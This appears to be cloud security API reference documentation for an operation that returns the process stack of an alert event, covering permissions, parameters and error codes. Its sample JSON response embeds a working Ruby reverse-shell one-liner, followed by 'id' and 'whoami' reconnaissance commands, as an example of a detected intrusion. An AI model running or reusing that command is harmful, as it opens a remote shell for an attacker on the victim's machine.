Queries the stack information about an alert event.
Debugging
Authorization information
The following table shows the authorization information corresponding to the API. The authorization information can be used in the Action
policy element to grant a RAM user or RAM role the permissions to call this API operation. Description:
- Operation: the value that you can use in the Action element to specify the operation on a resource.
- Access level: the access level of each operation. The levels are read, write, and list.
- Resource type: the type of the resource on which you can authorize the RAM user or the RAM role to perform the operation. Take note of the following items:
- The required resource types are displayed in bold characters.
- If the permissions cannot be granted at the resource level,
All Resources
is used in the Resource type column of the operation.
- Condition Key: the condition key that is defined by the cloud service.
- Associated operation: other operations that the RAM user or the RAM role must have permissions to perform to complete the operation. To complete the operation, the RAM user or the RAM role must have the permissions to perform the associated operations.
Operation | Access level | Resource type | Condition key | Associated operation |
---|---|---|---|---|
yundun-sas:DescribeAlarmEventStackInfo | get |
|
| none |
Request parameters
Parameter | Type | Required | Description | Example |
---|---|---|---|---|
SourceIp | string | No | The source IP address of the request. | 192.168.XX.XX |
Lang | string | No | The language of the content within the request and response. Default value: zh. Valid values:
| zh |
Uuid | string | Yes | The UUID of the server to query. Note
You can call the DescribeSuspEvents operation to query the UUIDs of servers.
| 18b7336e-d469-473b-af83-8e5420f9**** |
EventName | string | Yes | The name of the event. Note
You can call the DescribeSuspEvents operation to query the names of events.
| Mining program |
UniqueInfo | string | Yes | The ID of the alert event. | 1fbe8d16727f61d1478a674d6fa0**** |
ResourceDirectoryAccountId | long | No | The Alibaba Cloud account ID of the member in the resource directory. Note
You can call the DescribeMonitorAccounts operation to obtain the IDs.
| 127608589417**** |
Response parameters
Examples
Sample success responses
JSON
format
{
"StackInfo": "\\[ { \"child\": \\[ { \"child\": \\[ { \"child\": \\[ ], \"data\": { \"cmdline\": \"id\", \"proc_path\": \"/bin/id\", \"pid\": \"\\[3033]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } }, { \"child\": \\[ ], \"data\": { \"cmdline\": \"whoami\", \"proc_path\": \"/bin/whoami\", \"pid\": \"\\[3035]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ], \"data\": { \"cmdline\": \"/bin/bash -c 'id && whoami'\", \"proc_path\": \"/bin/bash\", \"pid\": \"\\[3022]\" }, \"description\": { \"extend\": \\[ ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ], \"data\": { \"src_ip\": \"0.0.0.0\", \"cmdline\": \"ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\\\"0.0.0.0\\\\\",\\\\\"1111\\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\\"r\\\\\"){|io|c.print io.read}end\", \"file\": \"ruby\", \"login_port\": \"22\", \"login_type\": \"Password\", \"proc_path\": \"/usr/bin/ruby\", \"dst_port\": \"1111\", \"pid\": \"3011\", \"user\": \"root\", \"dst_ip\": \"0.0.0.0\", \"log_time\": \"2020-01-20 09:00:00\" }, \"description\": { \"extend\": \\[ { \"content\": \"${tpl_netstat}\", \"content_type\": \"text\" } ], \"main\": { \"content\": \"${pid} ${cmdline}\", \"content_type\": \"markdown\" } } } ]\n",
"RequestId": "ECC6B3E3-D496-512D-B46D-E6996A6B63EE"
}
Error codes
HTTP status code | Error code | Error message | Description |
---|---|---|---|
400 | NoPermission | no permission | - |
400 | RdCheckNoPermission | Resource directory account verification has no permission. | - |
403 | NoPermission | caller has no permission | You are not authorized to do this operation. |
500 | RdCheckInnerError | Resource directory account service internal error. | - |
500 | ServerError | ServerError | - |
For a list of error codes, visit the Service error codes.
Change history
Change time | Summary of changes | Operation |
---|---|---|
2023-07-20 | The Error code has changed. The request parameters of the API has changed | View Change Details |